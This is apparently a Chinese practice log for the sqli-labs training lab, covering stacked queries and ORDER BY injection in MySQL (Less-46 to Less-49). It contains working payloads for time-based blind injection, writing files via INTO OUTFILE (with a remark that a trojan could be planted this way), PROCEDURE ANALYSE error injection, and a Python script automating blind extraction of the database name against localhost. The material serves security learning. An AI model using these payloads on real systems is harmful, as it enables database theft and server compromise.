sqli-lib 实战日志（五）

`sqli-lib` `sql注入`

咱们来到了堆叠注入的地方，这也是我之前从来没有做过的题型。但是我在ctftime上搜堆叠注入。好像没有考到过。从我感觉，一次性让mysql执行多个语句，是一件很不安全的事情。从多方渠道查询，其实很少有服务端会一次性让程序执行多个sql语句。所以堆叠注入的题目不需要做了。

背景知识

Stacked injection

堆叠注入。就是一次执行多个语句

- 堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到 API 或者数据库引擎不支持的限制，当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
- 除了oracle。别的数据库似乎都可以同时执行两条语句
- php中的一个很愚蠢的函数mysqli_multi_query()。为啥说这个函数很愚蠢呢？因为它可以同时执行多个语句。这就是堆叠注入产生的原因。

这个。应该出不了题把？这块的题目不做了。后面才是重点。

order by 后的注入

一般来说，其语句类似于

```
1.  $sql = "SELECT * FROM users ORDER BY $id";
```

这个不同于where的注入，不能用union

主要有三种技巧

- 1 直接添加?sort={select * }
- 2 利用函数 比如 sort = rand {sql语句}

```
#由于rand(True) 和rand(False)返回不一样，于是就可以利用rand进行布尔判断，玩法和盲注的思路有些类似

mysql> select rand(True);
+---------------------+
| rand(True)          |
+---------------------+
| 0.40540353712197724 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(False);
+---------------------+
| rand(False)         |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
```

- 3 闭合效应 ?sort=1 and sql语句,这个很常见了。

```
http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
```

- 4 用outoffile 做坏事
  实际上order by 之后能直接加导出到文件的操作。需要mysql关闭`--secure-file-priv`的选项

```
http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "c:\\wamp\\www\\sqli-labs-master\\test1.txt"
```

这里的话用mysql传木马也是可以的。当然要有足够高的权限、

- PROCEDURE ANALYSE 报错注入
  https://dev.mysql.com/doc/refman/5.7/en/procedure-analyse.html

这个方法给人一种很生僻的感觉。并且在mysql 8.0被移除。给我理解是一种分析参数的意思。

```
1' PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1)--+
```

里面有两个参数，必须是数字类型（可是md5和scii函数都会报错），这时候就可以用报错注入

实践

Less-46

这里的sql语句是这样的

```
$sql = "SELECT * FROM users ORDER BY $id";
```

rand（True)和rand(False）返回的东西不是非常的固定。实验下来还是不建议使用这个
但是盲注还是非常可以的

Less-47

注入点的判断比46多了一个'号
这边贴一下脚本。只写了判断database的，其余的和第二部分中的东西差不多

```
class Less_46:
    def run(self):
        self.order_by_sleep_ascii_database()
        pass
    def order_by_sleep_ascii_database(self):
        url="http://localhost/sqli-labs-master/Less-47/?sort=%s"
        payload="1' and
If(ascii(substr(database(),%s,1))=%s,0,sleep(1))--+"
        database=""
        for i in range(1, 9):
            min = 96  # 33  # !
            max = 122  # 127  # ~ # 由于这边是在做题目，所以参数可以调整的范围小一些。
```

```
            while min <= max:
                starttime = time.time()  # 记录当前时间
                p=url%(payload%(i,min))
                response = requests.get(url=p)
                if time.time() - starttime > 1:  # 因为是localhost，回显比较快，正常要大一些
                    min += 1
                else:
                    database += chr(min)
                    break
            print("the column is :%s" % database)
```

Less-48

虽然不能错误回显，但是盲注和rand(T/F）的方法任然可以使用。和46类似

Less-49

虽然不能错误回显，但是盲注和rand(T/F）的方法任然可以使用。和47类似